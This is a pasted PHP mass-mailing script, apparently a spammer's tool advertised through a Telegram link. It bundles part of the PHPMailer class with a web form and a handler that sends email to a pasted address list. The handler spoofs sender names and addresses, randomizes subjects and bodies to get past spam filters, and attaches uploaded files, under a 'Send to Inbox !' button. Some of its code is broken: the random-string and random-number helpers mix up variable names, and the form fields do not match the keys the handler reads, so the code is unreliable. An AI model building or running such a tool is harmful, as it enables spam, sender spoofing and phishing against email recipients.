'text/html', 'shtml' => 'text/html', 'log' => 'text/plain', 'text' => 'text/plain', 'txt' => 'text/plain', 'rtx' => 'text/richtext', 'rtf' => 'text/rtf', 'vcf' => 'text/vcard', 'vcard' => 'text/vcard', 'xml' => 'text/xml', 'xsl' => 'text/xml', 'mpeg' => 'video/mpeg', 'mpe' => 'video/mpeg', 'mpg' => 'video/mpeg', 'mov' => 'video/quicktime', 'qt' => 'video/quicktime', 'rv' => 'video/vnd.rn-realvideo', 'avi' => 'video/x-msvideo', 'movie' => 'video/x-sgi-movie');
  1585. return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)] : 'application/octet-stream');
  1586. }
  1587.  
  1588. public function getAttachments()
  1589. {
  1590. return $this->attachment;
  1591. }
  1592.  
  1593. public function encodeQPphp($string, $line_max = 76, $space_conv = false)
  1594. {
  1595. return $this->encodeQP($string, $line_max);
  1596. }
  1597.  
  1598. public function addStringAttachment($string, $filename, $encoding = 'base64', $type = '', $disposition = 'attachment')
  1599. {
  1600. if ($type == '') {
  1601. $type = self::filenameToType($filename);
  1602. }
  1603. $this->attachment[] = array(0 => $string, 1 => $filename, 2 => basename($filename), 3 => $encoding, 4 => $type, 5 => true, 6 => $disposition, 7 => 0);
  1604. }
  1605.  
  1606. public function addStringEmbeddedImage($string, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
  1607. {
  1608. if ($type == '') {
  1609. $type = self::filenameToType($name);
  1610. }
  1611. $this->attachment[] = array(0 => $string, 1 => $name, 2 => $name, 3 => $encoding, 4 => $type, 5 => true, 6 => $disposition, 7 => $cid);
  1612. return true;
  1613. }
  1614.  
  1615. public function clearAddresses()
  1616. {
  1617. foreach ($this->to as $to) {
  1618. unset($this->all_recipients[strtolower($to[0])]);
  1619. }
  1620. $this->to = array();
  1621. }
  1622.  
  1623. public function clearCCs()
  1624. {
  1625. foreach ($this->cc as $cc) {
  1626. unset($this->all_recipients[strtolower($cc[0])]);
  1627. }
  1628. $this->cc = array();
  1629. }
  1630.  
  1631. public function clearBCCs()
  1632. {
  1633. foreach ($this->bcc as $bcc) {
  1634. unset($this->all_recipients[strtolower($bcc[0])]);
  1635. }
  1636. $this->bcc = array();
  1637. }
  1638.  
  1639. public function clearReplyTos()
  1640. {
  1641. $this->ReplyTo = array();
  1642. }
  1643.  
  1644. public function clearAllRecipients()
  1645. {
  1646. $this->to = array();
  1647. $this->cc = array();
  1648. $this->bcc = array();
  1649. $this->all_recipients = array();
  1650. }
  1651.  
  1652. public function clearAttachments()
  1653. {
  1654. $this->attachment = array();
  1655. }
  1656.  
  1657. public function clearCustomHeaders()
  1658. {
  1659. $this->CustomHeader = array();
  1660. }
  1661.  
  1662. public function addCustomHeader($name, $value = null)
  1663. {
  1664. if ($value === null) {
  1665. $this->CustomHeader[] = explode(':', $name, 2);
  1666. } else {
  1667. $this->CustomHeader[] = array($name, $value);
  1668. }
  1669. }
  1670.  
  1671. public function msgHTML($message, $basedir = '', $advanced = false)
  1672. {
  1673. preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  1674. if (isset($images[2])) {
  1675. foreach ($images[2] as $imgindex => $url) {
  1676. if (!preg_match('#^[A-z]+://#', $url)) {
  1677. $filename = basename($url);
  1678. $directory = dirname($url);
  1679. if ($directory == '.') {
  1680. $directory = '';
  1681. }
  1682. $cid = md5($url) . '@phpmailer.0';
  1683. if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  1684. $basedir .= '/';
  1685. }
  1686. if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  1687. $directory .= '/';
  1688. }
  1689. if ($this->addEmbeddedImage($basedir . $directory . $filename, $cid, $filename, 'base64', self::_mime_types(self::mb_pathinfo($filename, PATHINFO_EXTENSION)))) {
  1690. $message = preg_replace('/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui', $images[1][$imgindex] . '="cid:' . $cid . '"', $message);
  1691. }
  1692. }
  1693. }
  1694. }
  1695. $this->isHTML(true);
  1696. $this->Body = $this->normalizeBreaks($message);
  1697. $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  1698. if (empty($this->AltBody)) {
  1699. $this->AltBody = 'To view this email message, open it in a program that understands HTML!' . self::CRLF . self::CRLF;
  1700. }
  1701. return $this->Body;
  1702. }
  1703.  
  1704. public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
  1705. {
  1706. if (!@is_file($path)) {
  1707. $this->setError($this->lang('file_access') . $path);
  1708. return false;
  1709. }
  1710. if ($type == '') {
  1711. $type = self::filenameToType($path);
  1712. }
  1713. $filename = basename($path);
  1714. if ($name == '') {
  1715. $name = $filename;
  1716. }
  1717. $this->attachment[] = array(0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, 6 => $disposition, 7 => $cid);
  1718. return true;
  1719. }
  1720.  
  1721. public function isHTML($isHtml = true)
  1722. {
  1723. if ($isHtml) {
  1724. $this->ContentType = 'text/html';
  1725. } else {
  1726. $this->ContentType = 'text/plain';
  1727. }
  1728. }
  1729.  
  1730. public static function normalizeBreaks($text, $breaktype = "\r\n")
  1731. {
  1732. return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  1733. }
  1734.  
  1735. public function html2text($html, $advanced = false)
  1736. {
  1737. if ($advanced) {
  1738. require_once 'extras/class.html2text.php';
  1739. $htmlconverter = new html2text($html);
  1740. return $htmlconverter->get_text();
  1741. }
  1742. return html_entity_decode(trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))), ENT_QUOTES, $this->CharSet);
  1743. }
  1744.  
  1745. public function set($name, $value = '')
  1746. {
  1747. try {
  1748. if (isset($this->$name)) {
  1749. $this->$name = $value;
  1750. } else {
  1751. throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);
  1752. }
  1753. } catch (Exception $exc) {
  1754. $this->setError($exc->getMessage());
  1755. if ($exc->getCode() == self::STOP_CRITICAL) {
  1756. return false;
  1757. }
  1758. }
  1759. return true;
  1760. }
  1761.  
  1762. public function sign($cert_filename, $key_filename, $key_pass)
  1763. {
  1764. $this->sign_cert_file = $cert_filename;
  1765. $this->sign_key_file = $key_filename;
  1766. $this->sign_key_pass = $key_pass;
  1767. }
  1768.  
  1769. public function getToAddresses()
  1770. {
  1771. return $this->to;
  1772. }
  1773.  
  1774. public function getCcAddresses()
  1775. {
  1776. return $this->cc;
  1777. }
  1778.  
  1779. public function getBccAddresses()
  1780. {
  1781. return $this->bcc;
  1782. }
  1783.  
  1784. public function getReplyToAddresses()
  1785. {
  1786. return $this->ReplyTo;
  1787. }
  1788.  
  1789. public function getAllRecipientAddresses()
  1790. {
  1791. return $this->all_recipients;
  1792. }
  1793. }
  1794.  
  1795. class phpmailerException extends Exception
  1796. {
  1797. public function errorMessage()
  1798. {
  1799. $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
  1800. return $errorMsg;
  1801. }
  1802. }
  1803.  
  1804. ?>
  1805.  
  1806. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  1807. "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  1808. <html xmlns="http://www.w3.org/1999/xhtml">
  1809. <head>
  1810. <title>https://t.me/spammerar2</title>
  1811.  
  1812. <!-- TODO re-add jquery form validation -->
  1813.  
  1814. <style type="text/css">
  1815. /*<![CDATA[*/
  1816. <!--
  1817. .style1 {
  1818. font-size: 20px;
  1819. font-family: Geneva, Arial, Helvetica, sans-serif;
  1820. }
  1821.  
  1822. -->
  1823. /*]]>*/
  1824. </style>
  1825. <style type="text/css">
  1826. /*<![CDATA[*/
  1827. <!--
  1828. .style1 {
  1829. font-family: Geneva, Arial, Helvetica, sans-serif;
  1830. font-size: 20px;
  1831. }
  1832.  
  1833. -->
  1834. /*]]>*/
  1835. </style>
  1836. <style type="text/css">
  1837. /*<![CDATA[*/
  1838. <!--
  1839. .style1 {
  1840. font-size: 60px;
  1841. font-family: Geneva, Arial, Helvetica, sans-serif;
  1842. }
  1843.  
  1844. body {
  1845. background-color: #000000;
  1846. }
  1847.  
  1848. -->
  1849. /*]]>*/
  1850. </style>
  1851. <style type="text/css">
  1852. /*<![CDATA[*/
  1853. body {
  1854. color: white;
  1855. }
  1856.  
  1857. div.c6 {
  1858. text-align: right
  1859. }
  1860.  
  1861. p.c5 {
  1862. font-family: Verdana, Arial, Helvetica, sans-serif;
  1863. font-size: 100%
  1864. }
  1865.  
  1866. span.c4 {
  1867. font-family: Verdana, Arial, Helvetica, sans-serif;
  1868. font-size: 100%
  1869. }
  1870.  
  1871. div.c3 {
  1872. font-family: Verdana, Arial, Helvetica, sans-serif;
  1873. font-size: 70%;
  1874. text-align: right
  1875. }
  1876.  
  1877. span.c3 {
  1878. font-family: Verdana, Arial, Helvetica, sans-serif;
  1879. font-size: 70%;
  1880.  
  1881. }
  1882.  
  1883. div.c2 {
  1884. text-align: center
  1885. }
  1886.  
  1887. span.c1 {
  1888. FONT-SIZE: 50pt;
  1889. color: red;
  1890. font-family: Webdings, Georgia, Serif
  1891. }
  1892.  
  1893. label.c1 {
  1894. font-family: Verdana, Arial, Helvetica, sans-serif;
  1895. font-size: 70%;
  1896. }
  1897.  
  1898. /*]]>*/
  1899. </style>
  1900. </head>
  1901. <body>
  1902. <span class="style1"> <br/>
  1903. </span>
  1904.  
  1905. <div class="c2"> <span class="style1 c1"
  1906. lang="ar-sa"
  1907. xml:lang="ar-sa"> ! </span></div>
  1908. <br/>
  1909. <br/>
  1910. <center><a href="https://t.me/spammerar2">https://t.me/spammerar2</a></center>
  1911. <form name="form1" method="post" action="" id="form1" enctype="multipart/form-data">
  1912.  
  1913. <table width="100%">
  1914. <tr>
  1915. <td width="5%">
  1916. <label for="use_smtp">
  1917. <div class="c3">Use SMTP</div>
  1918. </label>
  1919. </td>
  1920. <td width="45%">
  1921. <input type="checkbox" name="use_smtp" value="use_smtp">
  1922. <label for="use_smtp"><span class="c3">Use SMTP for authentication</span></label>
  1923. </td>
  1924. </tr>
  1925. <tr>
  1926. <td width="5%">
  1927. <div class="c3">
  1928. SMTP Host
  1929. </div>
  1930. </td>
  1931. <td width="45%">
  1932. <span class="c4">
  1933. <input type="text" id="smtp_host" name="host" placeholder="SMTP Host" size="60"/>
  1934. </span>
  1935. </td>
  1936. <td width="4%">
  1937. <div class="c3">
  1938. SMTP pass:
  1939. </div>
  1940. </td>
  1941. <td width="50%">
  1942. <span class="c4">
  1943. <input id="smtp_port" type="text" name="smtp_port" placeholder="SMTP Port" size="60"/>
  1944. </span>
  1945. </td>
  1946. </tr>
  1947. <tr>
  1948. <td width="5%">
  1949. <label for="use_smtp">
  1950. <div class="c3">Use SMTP</div>
  1951. </label>
  1952. </td>
  1953. <td width="45%">
  1954. <input type="checkbox" name="use_auth" value="use_auth">
  1955. <label for="use_smtp"><span class="c3">Use SMTP for authentication</span></label>
  1956. </td>
  1957. </tr>
  1958. <tr>
  1959. <td width="5%">
  1960. <div class="c3">
  1961. SMTP Username
  1962. </div>
  1963. </td>
  1964. <td width="45%">
  1965. <span class="c4">
  1966. <input type="text" id="user" name="user" placeholder="SMTP Username" size="60"/>
  1967. </span>
  1968. </td>
  1969. <td width="4%">
  1970. <div class="c3">
  1971. SMTP port:
  1972. </div>
  1973. </td>
  1974. <td width="50%">
  1975. <span class="c4">
  1976. <input id="pass" type="text" name="pass" placeholder="SMTP pass" size="60"/>
  1977. </span>
  1978. </td>
  1979. </tr>
  1980.  
  1981. </table>
  1982.  
  1983. <br/>
  1984. <br/>
  1985. <hr>
  1986. <br/>
  1987. <br/>
  1988.  
  1989. <table width="100%">
  1990. <input type="hidden" name="action" value="send"/>
  1991. <tr>
  1992. <td width="5%" height="36">
  1993. <div class="c3"> Email:</div>
  1994. </td>
  1995. <td width="41%"><span class="c4">
  1996.  
  1997. <input class="validate[required,custom[email]]" type="text" id="from" name="from"
  1998. placeholder="Base Adress" size="63"/>
  1999.  
  2000.  
  2001. </span></td>
  2002. <td width="4%">
  2003. <div class="c3"> Name:</div>
  2004. </td>
  2005. <td width="50%"><span class="c4">
  2006. <input id="realname" type="text" name="realname" placeholder="Names seperated by a comma [,]"
  2007. class="validate[required]" size="64"/>
  2008. </span></td>
  2009. </tr>
  2010. <tr>
  2011. <td width="5%" height="58">
  2012. <div class="c3"> Reply:</div>
  2013. </td>
  2014. <td width="41%"><span class="c4">
  2015.  
  2016. <input id="replyto" type="text" name="replyto"
  2017. placeholder="Base Reply:-to, same as sender email recommended" size="63"/>
  2018.  
  2019.  
  2020. <input id="checkbox" type="checkbox" name="checkbox"/>
  2021.  
  2022. <label style="" for="checkbox">
  2023. <span class="c3">Same as Email ? </span>
  2024. </label>
  2025. </span></td>
  2026. <td width="4%">
  2027. <div class="c3"> Attach File:</div>
  2028. </td>
  2029. <td width="50%"><span class="c4">
  2030. <input type="file" name="file" size="30"/>
  2031. </span></td>
  2032. </tr>
  2033. <tr>
  2034. <td width="5%" height="37">
  2035. <div class="c3"> Subject:</div>
  2036. </td>
  2037. <td colspan="3"><span class="c4">
  2038. <input id="subject" type="text" name="subject" placeholder="subjects seperated by ||" size="145"
  2039. class="validate[required]"/>
  2040. </span></td>
  2041. </tr>
  2042. <tr>
  2043. <td width="5%" height="37">
  2044. <div class="c3">
  2045. <p class="c5"> Priority </p>
  2046. </div>
  2047. </td>
  2048. <td><select name="xpriority" id="xpriority" class="validate[required]">
  2049. <option value="1"> Highest</option>
  2050. <option value="2"> High</option>
  2051. <option value="3"> Medium</option>
  2052. <option value="4"> Low</option>
  2053. <option value="5"> Lowest</option>
  2054. </select></td>
  2055. <td width="5%">
  2056. <div class="c3">
  2057. Encoding
  2058. </div>
  2059. </td>
  2060. <td>
  2061.  
  2062. <input name="Encoding" id="Encoding" type="radio" value="base64"/>
  2063. <span class="c3"> Base64 </span>
  2064.  
  2065. <input name="Encoding" id="Encoding" type="radio" value="QUOTED-PRINTABLE" checked/>
  2066. <span class="c3"> Quoted printable </span>
  2067.  
  2068. <input name="Encoding" id="Encoding" type="radio" value="8bit"/>
  2069. <span class="c3"> 8bit </span>
  2070.  
  2071. <input name="Encoding" id="Encoding" type="radio" value="7bit"/>
  2072. <span class="c3"> 7bit </span>
  2073.  
  2074. <input name="Encoding" id="Encoding" type="radio" value="binary"/>
  2075. <span class="c3"> binary </span>
  2076. </div>
  2077. </td>
  2078. </tr>
  2079. <tr>
  2080. <td width="5%" height="179"
  2081. valign="top">
  2082. <div class="c3"> Mail HTML:</div>
  2083. </td>
  2084. <td width="41%"
  2085. valign="top"><span class="c4">
  2086. <textarea id="message_html" class="validate[required]" name="message_html" cols="50" rows="10">
  2087.  
  2088. [random_string]
  2089. </textarea>
  2090. <br/>
  2091. </span></td>
  2092. <td width="4%"
  2093. valign="top">
  2094. <div class="c3"> Mail to:</div>
  2095. </td>
  2096. <td width="50%"
  2097. valign="top"><span class="c4">
  2098. <textarea id="emaillist" class="validate[required]" name="emaillist" cols="50" rows="10"
  2099. placeholder="Emails go here, one email at a line">r6@hotmail.com</textarea>
  2100. </span></td>
  2101. </tr>
  2102. <tr>
  2103. <td width="5%"
  2104. valign="top">
  2105. <div class="c3"> Mail Text:</div>
  2106. </td>
  2107. <td width="41%"
  2108. valign="top"><span class="c4">
  2109. <input id="auto_gen_text" type="checkbox" name="auto_gen_text"/>
  2110. <label for="auto_gen_text" class="c3">
  2111. <span class="c3">Generate automatically from HTML ? (Not recommended)
  2112. </span></label><br/>
  2113. <textarea id="message_text" class="validate[required]" name="message_text" cols="50" rows="10">Your TEXT message goes
  2114. here.
  2115. Instructions :
  2116. 1) [random_string] will be replaced with a random string
  2117. 2) [random_int] will be replaced with a random int.
  2118. 3) &amp;to&amp; will be replaced by this email
  2119. 4) &amp;from&amp; will be replaced by the sender email
  2120. 5) &amp;date&amp; will be raplaced by the email sending date.
  2121. What are you waiting for lady ? Go ahead and try it ! I already inserted text for you !</textarea>
  2122. <br/>
  2123. <br/></td>
  2124. </tr>
  2125. </table>
  2126. <br/>
  2127. <br/>
  2128.  
  2129. <div class="c2">
  2130. <input type="submit"
  2131. value="Send to Inbox !"/>
  2132. </div>
  2133. </form>
  2134. </body>
  2135. </html>
  2136.  
  2137. <?php
  2138. //TODO ADD ADDITIONAL HEADERS IN THE EMAIL ?
  2139. if (isset($_POST['action'])) {
  2140. $action = $_POST['action'];
  2141. $emaillist = $_POST['emaillist'];
  2142. $from = $_POST['from'];
  2143. $replyto = $_POST['replyto'];
  2144. $XPriority = $_POST['xpriority'];
  2145. $subject = stripslashes($_POST['subject']);
  2146.  
  2147. $realname = $_POST['realname'];
  2148. $encoding = $_POST['Encoding'];
  2149.  
  2150. if (isset($_POST['file'])) {
  2151. $file_name = $_POST['file'];
  2152. } else {
  2153. $file_name = NULL;
  2154. }
  2155.  
  2156.  
  2157. // process message
  2158. $message_html = $_POST['message_html'];
  2159. $message_html = urlencode($message_html);
  2160. $message_html = str_ireplace("%5C%22", "%22", $message_html);
  2161. $message_html = urldecode($message_html);
  2162. $message_html = stripslashes($message_html);
  2163.  
  2164. $message_text = $_POST['message_text'];
  2165. $message_text = urlencode($message_text);
  2166. $message_text = str_ireplace("%5C%22", "%22", $message_text);
  2167. $message_text = urldecode($message_text);
  2168. $message_text = stripslashes($message_text);
  2169.  
  2170.  
  2171. $allemails = explode("\n", $emaillist);
  2172. $numemails = count($allemails);
  2173.  
  2174. $names = explode(',', $realname);
  2175. $subjects = explode("||", $subject);
  2176.  
  2177. echo "Parsed your E-mail, let the magic happen ! <br><hr>";
  2178.  
  2179. function randomizeInteger($input = "")
  2180. {
  2181. $findme = '[random_int]';
  2182. $pos = stripos($input, $findme);
  2183. if ($pos !== FALSE) {
  2184. $xxx = substr_replace($input, mt_rand(1000, 999999), $pos, 12);
  2185. $pos = stripos($xxxx, $findme);
  2186. while ($pos !== FALSE) {
  2187. $xxxx = substr_replace($xxxx, mt_rand(1000, 999999), $pos, 12);
  2188. $pos = stripos($xxxx, $findme);
  2189. }
  2190. return $xxxx;
  2191. } else {
  2192. return $input;
  2193. }
  2194. }
  2195.  
  2196. function randomizeString($input = "")
  2197. {
  2198. $findme = '[random_string]';
  2199. $pos = stripos($input, $findme);
  2200. if ($pos !== FALSE) {
  2201. $xxxx = substr_replace($input, generateRandomString(15), $pos, 15);
  2202. $pos = stripos($xxx, $findme);
  2203. while ($pos !== FALSE) {
  2204. $xxxxx = substr_replace($xxxx, generateRandomString(15), $pos, 15);
  2205. $pos = stripos($xxxx, $findme);
  2206. }
  2207. return $xxxx;
  2208. } else {
  2209. return $input;
  2210. }
  2211. }
  2212.  
  2213. function generateRandomString($length = 10)
  2214. {
  2215. $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@';
  2216. $randomString = '';
  2217. for ($i = 0; $i < $length; $i++) {
  2218. $randomString .= $characters[rand(0, strlen($characters) - 1)];
  2219. }
  2220. return $randomString;
  2221. }
  2222.  
  2223.  
  2224. for ($x = 0; $x < $numemails; $x++) {
  2225. $to = $allemails[$x];
  2226.  
  2227. if (preg_match("/([\w\-]+\@[\w\-]+\.[\w\-]+)/", $to)) {
  2228. $date = date('Y/m/d H:i:s');
  2229. $to = str_ireplace(" ", "", $to);
  2230.  
  2231. // Dynamically generate send information
  2232. echo "$x: Generating E-mail.";
  2233. flush();
  2234.  
  2235. // generate sender email information
  2236. $sender = randomizeString($from);
  2237. $sender = randomizeInteger($sender);
  2238. echo ".";
  2239. flush();
  2240.  
  2241. // generate reply-to email information
  2242. if (isset($_POST['checkbox'])) {
  2243. $reply2 = $sender;
  2244. } else {
  2245.  
  2246. $reply2 = randomizeString($replyto);
  2247. $reply2 = randomizeInteger($reply2);
  2248. }
  2249. echo ".";
  2250. flush();
  2251.  
  2252. // generate realname information
  2253. $send_name = $names[array_rand($names)];
  2254. echo ".";
  2255. flush();
  2256.  
  2257. // generate title information
  2258. $title = $subjects[array_rand($subjects)];
  2259. $title = randomizeString($title);
  2260. $title = randomizeInteger($title);
  2261. $title = str_ireplace("&to&", $to, $title);
  2262. $title = str_ireplace("&from&", $sender, $title);
  2263. echo ". => ";
  2264. flush();
  2265.  
  2266.  
  2267. // generate message information
  2268. $sent_html = str_ireplace("&to&", $to, $message_html);
  2269. $sent_html = str_ireplace("&from&", $sender, $sent_html);
  2270. $sent_html = str_ireplace("&date&", $date, $sent_html);
  2271. $sent_html = randomizeString($sent_html);
  2272. $sent_html = randomizeInteger($sent_html);
  2273.  
  2274.  
  2275. if (isset($_POST['auto_gen_text'])) {
  2276. $sent_text = strip_tags($sent_html);
  2277. } else {
  2278. $sent_text = str_ireplace("&to&", $to, $message_text);
  2279. $sent_text = str_ireplace("&from&", $sender, $sent_text);
  2280. $sent_text = str_ireplace("&date&", $date, $sent_text);
  2281. $sent_text = randomizeString($sent_text);
  2282. $sent_text = randomizeInteger($sent_text);
  2283. $sent_text = strip_tags($sent_text);
  2284. }
  2285.  
  2286.  
  2287. //send email here, with previously intergrated variables and PHPMailer Class.
  2288. // Generate header information
  2289. print "Sending to $to - Subject: $title - Sender name: $send_name - Sender email: $sender - reply-to: $reply2 => ";
  2290. flush();
  2291.  
  2292.  
  2293. $mail = new PHPmailer();
  2294. $mail->Priority = $XPriority;
  2295. $mail->Encoding = $encoding;
  2296. $mail->SetFrom($sender);
  2297. $mail->FromName = $send_name;
  2298. $mail->AddReplyTo($send_name, $reply2);
  2299. $mail->AddAddress($to);
  2300. $mail->Body = $sent_html;
  2301. $mail->IsHTML(true);
  2302. $mail->Subject = $title;
  2303. $mail->AltBody = $sent_text;
  2304. $mail->addCustomHeader("Reply-To: $send_name <$reply2>");
  2305.  
  2306.  
  2307. //if we are using SMTP
  2308. if (isset($_POST['use_smtp'])) {
  2309. $mail->SMTPAuth = true; // enable SMTP authentication
  2310. $mail->Host = $_POST['smtp_host']; // sets the SMTP server
  2311. $mail->Port = 26;
  2312.  
  2313. if (isset($_POST['smtp_auth'])) {
  2314. $mail->SMTPAuth = true;
  2315. $mail->Username = $_POST['smtp_user']; // SMTP account username
  2316. $mail->Password = $_POST['smtp_pass'];
  2317. }
  2318. }
  2319.  
  2320. //If this shit has an attachement
  2321. if (isset($_FILES['file']) && $_FILES['file']['error'] == UPLOAD_ERR_OK) {
  2322. $test = mime_content_type($_FILES['file']['tmp_name']);
  2323. $mail->AddAttachment($_FILES['file']['tmp_name'],
  2324. $_FILES['file']['name'], "base64", mime_content_type($_FILES['file']['tmp_name']));
  2325.  
  2326. }
  2327.  
  2328. //Ok, let's send it !
  2329. if ($mail->send()) {
  2330. echo "Sent ! <br>";
  2331. } else {
  2332. echo "Not sent, sorry !<br>";
  2333. }
  2334. } else {
  2335. Print "$x -- Invalid email $to<br>";
  2336. flush();
  2337. }
  2338.  
  2339. echo "<script>alert('Sending Completed\\r\\nTotal Email $numemails\\r\\n-Sent to inbox\\r\\n');
  2340. </script>";
  2341. }
  2342. }
  2343. ?>
Add Comment
Please, Sign In to add comment